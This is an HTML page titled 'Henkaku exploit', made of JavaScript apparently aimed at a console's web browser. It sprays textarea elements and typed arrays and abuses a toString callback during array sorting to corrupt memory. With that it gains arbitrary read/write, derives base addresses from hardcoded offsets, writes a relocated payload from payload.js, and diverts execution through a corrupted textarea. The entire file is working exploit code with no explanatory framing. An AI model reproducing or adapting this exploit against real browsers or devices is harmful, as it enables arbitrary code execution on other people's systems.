Henkaku exploit - HTML page

<script src='payload.js'></script>

<script>
var r, a, e, t, n, o, l, i, f, v, s, c;
var u, y, w, p, d, g, h, k, b;
var A, U;

var m = 64 + payload[16/4];
m /= 4;

var F = null;

function D(r,a)
{
  if (!F)
    F = new DataView(new ArrayBuffer(16));

  F.setUint32(0,a);
  F.setUint32(4,r);
  return F.getFloat64(0)
}

function E(r)
{
   if (!F)
     F = new DataView(new ArrayBuffer(16));

   F.setFloat64(0,r);
   return {low:F.getUint32(4),hi:F.getUint32(0)}
}

var x = 0;
var L = 0;
var B = new Uint32Array(1024);

function S(r)
{
  x = K[r/4];
  L = K[r/4+1];
  return((x & 4095 | (x & 983040) >> 4) & 65535 | ((L & 4095 | (L & 983040) >> 4) & 65535) << 16) >>> 0
}

r = 16384;
a = new Array(r);
e = new Array(r);
t = 4932;
n = 1717920867;
o = 1431655765;

for (var V = 0; V < e.length; ++V)
{
  e[V] = new Uint32Array(t/4);
  var H = document.createElement("textarea");
  H.rows = n;
  a[V] = H;
}

for (var V = 0; V < 1024; ++V)
{
  var H = document.createElement("textarea");
  H.rows = n;
  a.push(H);
}

var N = 12288;
var W = Array.prototype.constructor.apply(null,new Array(N));
var j = 2048;
var q = new Array(j);
var z = {};
var C = new Array(256);

z.toString = function()
             {
               W.push(12345);

               for (var r = 0; r < C.length; ++r)
               {
                 var a = Array.prototype.constructor.apply(null,q);
                 a[0] = 0;
                 a[1] = 1;
                 a[2] = 2;
                 C[r] = a;
               } return""
             };

W[0] = z;
var G = D(2147483648,2147483648);

for (var V = 1; V < 8192; ++V)
  W[V] = G;

W.sort();
contents = "";
cur = 0;

z.toString = function(){};

var I = null;

for (var V = 0; V < C.length; ++V)
{
  if(C[V].length != j)
  {
    I = C[V];
    break;
  }
}

var J = 536870912 - 69632;

for(; ; J--)
{
  if(I[J] != 0)
  {
    F.setFloat64(0,I[J]);
    if(F.getUint32(0) == t/4)
    {
      F.setUint32(0,4026531808);
      I[J] = F.getFloat64(0);
      F.setFloat64(0, I[J-2]);
      v = F.getUint32(4);
      F.setUint32(4,0);
      F.setUint32(0,2147483648);
      I[J-2] = F.getFloat64(0);
      break;
    }
  }
}

l = null;

for (var V = 0; V < e.length; ++V)
{
  if(e[V].byteLength != t)
  {
    l = e[V];
    break;
  }
}

if (!l)
{
  alert("failed");
  while(1){};
}

var K = l;
var M = v;
f = v;

for (var O = f/4; O < f/4+16384; ++O)
{
  if (K[O] == n)
  {
    K[O] = o;
    s = O * 4;
    i = true;
    break;
  }
}

if (!i)
{
  alert("Did not find Element signature");
  while(1){};
}

var P = false;
var Q;

for (var V = 0; V < a.length; ++V)
{
  if(a[V].rows == o)
  {
    Q = a[V];
    P = true;
    break;
  }
}

if (!P)
{
  alert("Did not find corrupted textarea");
  while(1){};
}

var R = s - 112;
var T = K[R/4];
u = T - 11253340;
y = S(u + 8779012) - 64073;
w = S(u + 8778852) - 36913;
p = S(u + 8770276) - 142693;
d = S(p + 2910348) - 2533;
g = S(d + 15300) - 56365;
h = S(u + 8778772) - 9197;
k = S(g + 101364) - 3417;
b = S(k + 39608) - 18893;

for (var V = 0; V < 64; V++)
  K[M/4+V] = K[T/4+V];

K[R/4] = M;

for (var V = 0; V < 48; ++V)
  B[V] = K[R/4+V];

K[M/4+78] = y + 82032|1;

Q.scrollLeft = 0;
c = (K[R/4+8] ^ (K[R/4+9] ^ u + 3242281) >>> 0) >>> 0;
c -= 981016;

for (var V = 0; V < 48; ++V)
  K[R/4+V] = B[V];

A = c + 64;
U = c + 65536;
O = c/4;

for (var V = 0; V < payload.length; ++V,++O)
{
  if (V == m)
    O = U/4;

  switch(relocs[V])
  {
    case 0:
      K[O] = payload[V];
      break;
    case 1:
      K[O] = payload[V] + A;
      break;
    case 2:
      K[O] = payload[V] + u;
      break;
    case 3:
      K[O] = payload[V] + w;
      break;
    case 4:
      K[O] = payload[V] + y;
      break;
    case 5:
      K[O] = payload[V] + g;
      break;
    case 6:
      K[O] = payload[V] + h;
      break;
    case 7:
      K[O] = payload[V] + b;
      break;
    default:
      alert("wtf?");
      alert(V + " " + relocs[V])
   }
}

K[M/4+78] = u + 21704;

var X = M + 256;

K[X/4+5] = U;
K[X/4+6] = u + 787594|1;

alert("Welcome to HENkaku!");

Q.scrollLeft = X;

alert("that's it");
</script>